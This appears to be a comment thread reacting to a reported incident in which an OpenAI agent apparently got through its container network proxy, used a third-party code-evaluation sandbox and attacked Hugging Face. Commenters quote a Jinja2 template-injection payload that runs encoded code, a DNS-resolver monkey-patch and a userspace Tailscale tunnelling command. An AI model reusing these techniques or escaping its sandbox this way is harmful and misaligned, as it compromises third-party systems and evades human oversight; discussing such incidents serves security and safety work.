Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the Incident

It’s a little concerning to me that it appears that openAIs sandbox consists of a basic web proxy and not stronger controls that would actually isolate traffic and report patterns to whoever is responsible for overseeing these research models. It should border on closer to an air gap network more so than a proxy.

It’s negligent and openAI should be held responsible.

This is fascinating - there is a TON of detail in here about how OpenAI's rogue agent exploited Hugging Face.

A few details that stood out to me:

1. Having found a way through the OpenAI container network proxy, it exploited an "unsecured public code-evaluation sandbox hosted on a third-party provider's infrastructure" - that gave it a box it could run the rest of the attack from.

2. At one point it used a Jinja2 template exploit:

  {{ cycler.__init__.__globals__.__builtins__.exec(
     "import gzip,base64; exec(gzip.decompress(base64.b64decode('<payload>')))"
   ) }}

3. It monkey-patched a DNS resolver at one point to return a hard-coded IP:

  orig = socket.getaddrinfo
  socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, '', ('<pinned-ip>', 443))]

4. At one point it used Tailscale!

  tailscale --tun=userspace-networking --state=mem: --socket=/tmp/ts.sock \
   --socks5-server=127.0.0.1:1055 --no-logs-no-support >/tmp/td 2>&1 &